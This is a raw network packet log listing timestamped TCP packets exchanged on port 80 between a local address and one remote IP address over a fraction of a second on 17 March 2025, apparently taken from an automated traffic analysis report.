Mar 17, 2025 03:23:12.490798950 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.490801096 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.490811110 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.490823030 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.490824938 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.490848064 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.491025925 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.491038084 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.491066933 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.491180897 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.491193056 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.491202116 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.491214037 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.491221905 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.491225958 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.491235971 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.491246939 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.491247892 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.491256952 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.491265059 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.491267920 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.491277933 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.491283894 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.491288900 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.491297960 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.491308928 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.491309881 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.491336107 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.491357088 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.491710901 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.491724014 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.491736889 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.491756916 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.540338039 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.558037996 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.558058977 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.558068991 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.558136940 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.558147907 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.558157921 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.558207035 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.558290005 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.558301926 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.558312893 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.558337927 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.558357954 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.558366060 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.558377981 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.558387995 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.558398962 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.558408976 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.558413982 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.558449030 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.558568954 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.558582067 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.558593035 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.558602095 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.558614969 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.558653116 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.567110062 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.567193031 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.567212105 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.567224026 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.567287922 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.567370892 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.567383051 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.567397118 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.567419052 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.567426920 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.567437887 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.567447901 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.567467928 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.567467928 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.567500114 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.567671061 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.567687035 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.567698956 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.567709923 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.567719936 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.567720890 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.567732096 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.567742109 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.567775011 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.567804098 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.567861080 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.567883968 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.567895889 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.567905903 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.567917109 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.567929029 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.567934990 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.567955971 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.568255901 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.568267107 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.568278074 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.568289042 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.568300009 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.568311930 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.568316936 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.568327904 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.568335056 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.568339109 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.568380117 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.568552971 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.568563938 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.568573952 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.568584919 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.568595886 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.568603992 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.568605900 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.568617105 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.568627119 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.568638086 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.568650961 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.568650961 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.568689108 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.568989038 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.569004059 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.569019079 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.569029093 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.569039106 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.569047928 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.569087029 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.576016903 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.576040983 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.576051950 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.576085091 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.576133013 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.576180935 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.576194048 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.576205015 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.576216936 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.576245070 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.576277018 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.576333046 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.576344013 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.576355934 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.576391935 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.576407909 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.576421022 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.576450109 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.576539040 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.576550961 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.576562881 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.576581001 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.576611996 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.576642990 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.576658010 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.576669931 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.576702118 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.576786041 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.576797009 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.576807976 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.576819897 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.576826096 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.576860905 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.577003002 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.577017069 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.577028036 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.577039003 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.577045918 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.577049971 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.577065945 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.577096939 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.577297926 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.577311039 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.577323914 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.577334881 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.577343941 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.577346087 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.577357054 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.577366114 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.577368021 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.577378988 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.577389956 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.577399969 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.577402115 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.577440977 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.577867031 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.577879906 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.577892065 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.577902079 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.577913046 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.577919006 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.577924013 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.577934980 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.577941895 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.577944994 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.577956915 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.577967882 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.577975035 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.577979088 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.577990055 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.577995062 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.578005075 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.578008890 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.578016996 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.578037977 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.578067064 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.578340054 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.578351974 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.578362942 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.578373909 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.578382015 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.578385115 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.578396082 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.578413010 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.578435898 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.644783020 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.644804001 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.644850016 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.644912004 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.644920111 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.644922972 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.644957066 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.645045042 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.645056009 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.645066023 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.645077944 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.645086050 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.645113945 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.645654917 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.645731926 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.645818949 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.645831108 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.645843029 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.645853043 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.645862103 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.645864964 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.645906925 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.653836012 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.653846979 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.653857946 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.653888941 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.653896093 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.653901100 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.653912067 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.653914928 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.653925896 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.653949976 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.653985023 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.653997898 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654007912 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654041052 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.654056072 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654066086 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654100895 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.654114962 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654126883 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654155970 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654159069 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.654166937 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654175997 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654212952 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.654284000 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654295921 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654306889 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654318094 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654326916 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.654329062 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654350996 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.654381990 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.654500961 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654512882 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654522896 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654536009 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654552937 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.654583931 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.654639959 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654650927 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654661894 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654674053 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654695034 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.654725075 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.654750109 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654764891 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654774904 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654793978 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.654954910 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654966116 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654975891 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654989958 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.654994965 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.655000925 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.655005932 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.655011892 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.655023098 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.655038118 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.655039072 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.655076981 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.655077934 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.655116081 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.655153036 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.655167103 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.655178070 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.655189037 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.655199051 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.655203104 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.655230999 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.662882090 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.662894964 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.662909031 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.662944078 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.662952900 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.662962914 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.662964106 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.662975073 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.662986040 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.662993908 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.663026094 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.663157940 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.663199902 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.663211107 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.663238049 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.663289070 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.663301945 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.663326025 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.663384914 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.663398981 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.663424015 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.663506985 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.663517952 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.663528919 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.663538933 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.663546085 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.663549900 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.663556099 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.663589954 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.663729906 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.663742065 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.663772106 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.663930893 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.663940907 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.663954020 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.663964033 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.663975000 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.663985968 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.663988113 CET	49711	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:12.663996935 CET	80	49711	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:12.664007902 CET	80	49711	196.251.83.222	192.168.2.4
